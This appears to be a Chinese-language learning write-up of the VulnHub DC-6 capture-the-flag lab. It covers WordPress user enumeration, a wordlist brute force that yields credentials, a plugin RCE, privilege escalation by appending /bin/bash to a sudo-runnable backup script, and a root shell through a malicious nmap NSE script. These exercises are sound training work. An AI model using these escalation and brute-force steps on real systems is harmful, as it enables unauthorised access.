一、收集信息
1.ip:192.168.10.16
网络选择的是net,自动分配的地址
2.端口
开启了22和80两个常用端口,而且都是open状态
二、漏洞探测
dirsearch -u http://192.168.10.16
index.php阔以看件框架(看攻略,我应该是访问不了的,这里可能是卡出来的)
上网搜索一下wordpress的漏洞,发现一个一会可能阔以用的,留一个描点。他说登陆上有漏洞,具体去看下面这个博客,我继续自己摸索了。
Wordpress漏洞复现_刘正2001的博客-CSDN博客
没成功,试过了
但是!!!,我敲为什么登不上去,我还以为是因为自己的电脑的问题,第一次遇见这种事情,百度去
上网搜了一下
网上说阔以访问的,他自动跳转到wordy这个网页了,但是无法访问,需要加一下域名。
添加一个域名解析
vim / etc/hosts
192.168.10.16 wordy
再去访问发现访问的就是wordy了
但是www.wordy.com和这个有什么区别呢?就是这个
有学到一个新东西,用来
wpscan --url http://wordy/ --enumerate u
--enumerate是枚举的意思扫描出几个用户名字,这些用户是用来登陆这个网页的
admin
jens
graham
mark
sarah
以前我还学过cewl,试试
cewl http://192.168.10.16 --debug -w /etc/dc-6/cewl_user.txt
--debug,深度挖掘失败,什么都没有扫描出来
找到一个阔以登陆的地方
sql注入试试,万能密码登陆失败
上网找漏洞,顺便爆破着,反正知道账户了,只爆破密码就行
用searchsploit,我想法错了,但我还是想写一下,这个是渗透进去再用的
没有什么有效漏洞
提示地址:DC: 6 ~ VulnHub
cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt
gzip -d /usr/share/wordlists/rockyou.txt.gz
注意路径!
cat /usr/share/wordlists/rockyou.txt | grep k01 > password.txt
我顺便用弱口令破解着
wpscan爆破出
mark / helpdesk01
我们ssh登陆试试,也有可能是网页的账号和密码
ssh登陆失败,应该是网页的,毕竟是wpscan扫描出来的
不是这个网页,是这个
searchsploit Activity monitor
然后提交
不行,没检测到
手动rce吧
python -c 'import pty;pty.spawn("/bin/bash")'
先sudo -l
啥都没有,还让我输入密码
新用户:graham
密码:GSo7isUM1D4
三、漏洞验证
可以看到有一定的jens的!!!!权限
查看文件内容,是解压文件用的,我们试试看能不能写进去一点东西
文件是jens这个用户的
echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh
nmap,可执行文件
成功了
flag在cat ./theflag.txt,不用去根目录下
问题
1.为什么要添加域名,才能访问到index.php?
2.水平提权的那两个命令时抄的,不太理解
echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh
本来这个文件只有解压缩的功能,但是加上/bin/bash后,就有了执行命令的权限
1)为什么使用这一句sudo -u jens /home/jens/backups.sh不用填密码呢?
-u jens
参数指定了以jens
用户的身份来执行后续的命令。这表示命令将在jens
用户的环境中运行,具有与该用户相关联的权限和配置。在某些情况下,当你使用
sudo
命令运行某个命令或脚本时,系统可能会根据你的设置省略输入密码的步骤。这需要你的用户帐户在sudoers
文件中正确配置。如果没有要求密码验证,那么在执行sudo
命令时就不会提示输入密码。
2)垂直提权时候的这个命令,不太懂
echo "os.execute('/bin/bash')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
os.execute('/bin/bash')
是一行Lua代码,用于在计算机上执行一个指定的命令或脚本。在这个例子中,它启动了一个新的Bash shell。具体来说,
os.execute()
是一个Lua函数,用于在操作系统上执行一个命令。在这里,'/bin/bash'
是要执行的命令,它指定了在计算机上启动Bash shell的路径。当这个函数执行时,它会在操作系统中启动一个新的Bash shell进程,将用户连接到该shell中,并允许他们在其中执行命令。
登陆用户可以使用
/bin/bash
作为其默认的登录 shell。当用户成功登录到 Linux 系统时,系统会为其启动一个交互式的 shell 进程,用于接受用户输入和执行命令。Bash shell 是 Linux 系统的默认 shell,因此登录用户的默认 shell 通常是/bin/bash
。用户可以通过设置
/etc/passwd
文件中的登录 shell 来更改其默认 shell。该文件包含了系统中所有用户的账户信息,包括用户名、用户ID、组ID和登录 shell 等。在
/etc/passwd
文件中,每个用户的条目都以冒号分隔的字段形式呈现,其中的第七个字段表示默认的登录 shell。对于大多数用户来说,这个字段的值会设置为/bin/bash
,以便他们登录后可以使用 Bash shell 进行交互。例如,一个典型的
/etc/passwd
文件的用户条目可能如下所示:
john:x:1000:1000:John Doe:/home/john:/bin/bash
上述示例中,用户 "john" 的默认登录 shell 是
/bin/bash
。因此,当用户 "john" 登录到系统时,将启动一个 Bash shell 进程,用户可以在其中执行命令、运行脚本等操作。